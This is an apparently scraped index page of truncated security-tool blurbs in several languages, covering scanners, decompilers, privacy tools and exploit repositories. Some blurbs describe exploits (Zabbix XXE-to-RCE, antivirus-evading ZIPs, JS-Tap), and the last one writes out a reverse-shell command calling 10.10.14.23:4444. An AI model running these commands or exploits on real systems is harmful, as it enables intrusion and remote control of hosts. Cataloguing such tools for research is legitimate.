monitor

BetterDB Monitor Valkey 应得的监控层。 BetterDB 持久化保存 Valkey 丢弃的数据——慢日志、命令模式、客户端活动、异常信号——这样你就能排查凌晨 3 点发生了什么，而不仅仅是当下正在发生什么。专为 Valkey 8.x 构建，原生支持 COMMANDLOG、CLUSTER SLOT-STATS 以及每线程 I/O 指标。其余功能兼容 Redis 6+。 网站 | Docker Hub | npm | 文档 | 博客 BetterDB 由 BetterDB Inc. 构建，这是一家依据 OCV Open Charter 运营的公益公司。...

CVE-2024-22120-RCE-with-gopher

使用方法 root@kitploit: python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime 概述 此漏洞利用工具旨在利用XXE（XML外部实体）漏洞。通过它，我读取了Web服务的后端代码，并发现了一个端点，在该端点上我可以使用gopher协议向易受远程代码执行攻击的Zabbix版本6.0.27发起内部请求。...

ngxray

ngxray Static vulnerability scanner for nginx configurations. Parses configs with nginx's own tokenizer and matches against declarative JSON rules to detect known CVEs in rewrite/script engine directive patterns. Quick start root@kitploit: cd ngxray git submodule update --init make python3 scan.p...

clickjacking-poc

Clickjacking PoC Tool A basic tool to generate clickjacking proof of concepts based on a given URL. Building Building should be simple... root@kitploit: $ go get $ go build Usage Basic usage: clickjacking-poc -u https://example.com The tool can also be used to open the PoC up in the browser:...

GetBlocked

GetBlocked! 更干净的页面。更少的追踪器。仅本地运行。 GetBlocked! 是一款轻量级、仅本地运行的 Chrome 扩展程序，它通过拦截已知的追踪器请求、清理追踪链接并解释追踪尝试来帮助减少常见的第三方网站追踪。 它被构建为一个可检查的 Manifest V3 项目，适合想使用友好隐私工具的用户，也适合希望快速提交有价值拉取请求的贡献者。 GetBlocked! 的功能 使用 Chrome 的 declarativeNetRequest 拦截一组精心挑选的已知第三方追踪器域名。 清理常见的追踪 URL 参数，例如...

juumla

🦁 Juumla 🦁 Juumla Juumla 是一款 Python 工具，用于识别 Joomla 版本、扫描漏洞及敏感文件。 ⚡ 安装 / 开始使用 快速安装并使用 Juumla 的指南。 root@kitploit: 1. 克隆仓库 - git clone https://github.com/oppsec/juumla.git 2. 安装依赖库 - pip3 install -r requirements.txt 3. 运行 Juumla - python3 main.py -u https://example.com 🐳 Docker 如果你想在 Docker 容器中运行...

vulners-scanner

vulners-scanner 描述 基于主机的漏洞扫描器的PoC，使用vulners.com API。检测操作系统，收集已安装的包并检查其中的漏洞。 支持的操作系统 目前支持收集这些操作系统的包： 基于Debian（debian, kali, ubuntu） 基于Rhel（redhat, centos, fedora） Python版本 Lazy和Advanced版本已在python2.6、python2.7、python3.5上测试。如果发现任何错误，请随时打开issue Docker支持...

nCPU

一台完整的计算机，其中每一层——算术、操作系统、编译器、显示——要么是训练好的神经网络，要么完全在GPU上运行。 模型不是 在 计算机上运行。模型 就是 计算机本身。 nCPU 是一个代码库，从五个方向追求同一论点：计算机可以由学习到的组件构建，而一旦整个执行栈是可微分的，程序就不再是你编写的东西，而变成了可以通过梯度下降搜索的对象。下面的每个子系统都基于独立的测量；它们共同覆盖从单个 ALU 操作到操作系统再到程序合成的整个栈。 五个子系统 1. 神经计算机 每个 ALU 操作——加法、减法、乘法、位运算、移位、除法——都是一个训练好的神经网络。神经操作系统 neurOS...

CVE-2022-40684-metasploit-scanner

CVE-2022-40684-metasploit-scanner Una omisión de autenticación mediante una ruta o canal alternativo en productos Fortinet preparación del POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2022-40684-metasploit-scanner cd CVE-2022-40684-metasploit-scanner mkdir -p...

twebit

基于机器学习的比特币分析 工作原理 1- 从Twitter获取推文 2- 过滤推文 3- 使用朴素贝叶斯算法进行推文分类（正面、负面和中性） 安装 root@kitploit: git clone https://github.com/omergunal/twebit cd twebit pip3 install -r requirements.txt 在 "twebit.py" 中更新你的 API 密钥。前往 https://apps.twitter.com/ 获取 API 密钥 使用方法 root@kitploit: python3 twebit.py 截图...

twebit

Bitcoin analysis with machine learning How it works? 1- Get tweets from twitter 2- Filter tweets 3- Tweet classification with naive bayes algorithm Positive,negative and neut Installation root@kitploit: git clone https://github.com/omergunal/twebit cd twebit pip3 install -r requirements.txt Updat...

zombie-zip

Zombie ZIP Técnica de confusión de formato ZIP que evade el 98 % de los motores antivirus. CVE-2026-0866 | VU976247 | Publicado el 10 de marzo de 2026 La técnica Crea un archivo ZIP donde: root@kitploit: Compression Method = 0 STORED Actual data = DEFLATE compressed CRC-32 = Checksum of...

SysmonSimulator

SysmonSimulator SysmonSimulator 是一个用 C 语言编写的开源 Windows 事件模拟工具，可用于模拟大多数使用 WINAPI 的攻击。蓝队可使用它来测试 EDR 检测和关联规则。我创建此工具的目的是为相关 Sysmon 事件 ID 生成攻击数据。 博客文章： 该工具在以下博客文章中进行了说明： https://rootdse.org/posts/understanding-sysmon-events/ 涵盖的攻击针对重要的 Windows 事件，如下所示： 进程事件 ：进程创建、进程终止、进程访问 文件事件...

jadx

JADX jadx - Dex to Java decompiler Command line and GUI tools for producing Java source code from Android Dex and Apk files !WARNING Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds. Main features: decompil...

jadx

JADX jadx - Descompilador de Dex a Java Herramientas de línea de comandos y GUI para generar código fuente Java a partir de archivos Android Dex y Apk !WARNING Tenga en cuenta que en la mayoría de los casos jadx no puede descompilar el 100% del código, por lo que se producirán errores. Consulte l...

CVE-2023-33733

关于Reportlab v3.6.12的CVE-2023-33733 此实验环境是为测试CVE-2023-33733而搭建的。 分析过程 你可以在主仓库的PDF文件中查看我们关于此CVE的分析过程。 搭建与运行 服务端 搭建 root@kitploit: pip3 install -r requirements.txt 运行 root@kitploit: python3 app.py 攻击端 连接到服务器 连接到服务器IP地址 http://ServerIP:4444 运行后，你会看到类似这样的界面，你可以上传恶意HTML文件以观察RCE。 监听并上传文件 root@kitploit: ...

goca

Goca 是一个用 Go 编写的 FOCA 分支，主要用于查找扫描文档中的元数据和隐藏信息。这些文档可能存在于网页上，可以通过 Goca 下载并分析。 它能够分析多种文档，最常见的有 Microsoft Office、Open Office 或 PDF 文件，此外也能分析 Adobe InDesign 或 SVG 文件等。 这些文档通过以下搜索引擎进行搜索： Google Bing DuckDuckGo Yahoo Ask 随后下载文档，从图形文件中提取 EXIF 信息，并在下载文件之前对通过 URL 发现的信息进行全面分析。 使用方法 从 发布页面 下载预编译的包。 要从源码构建，需要...

JS-Tap

JS-Tap v3.0.4 本工具仅供在您有权攻击的系统上使用，且仅用于合法和教育目的。请勿将此工具用于非法目的，否则我会非常生气地对你进行谴责。 更新日志 主要变更记录在项目公告中： https://github.com/hoodoer/JS-Tap/discussions/categories/announcements 演示 你可以在这里阅读关于 JS-Tap 的原始博客文章： https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams 来自 ShmooCon 的 JS-Tap 第1版简短演示：...

IOSSecuritySuite

⭐️ 想要成为认证的 iOS 应用安全工程师吗？⭐️ 了解我们实用且完全在线的课程：https://courses.securing.pl/courses/iase ISS 描述 作者 @r3ggi 🌏 iOS Security Suite 是一个高级且易于使用的平台安全与防篡改库，完全使用纯 Swift 编写！如果你正在为 iOS 开发，并且希望根据 OWASP MASVS 标准（第 v8 章）保护你的应用，那么这个库可以为你节省大量时间。🚀 ISS 检测的内容： 越狱 🧨 附加调试器 👨🏻‍🚀 应用是否在模拟器中运行 👽 设备上正在运行的常见逆向工程工具 🔭 设置 有四种方式可以开始使用...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...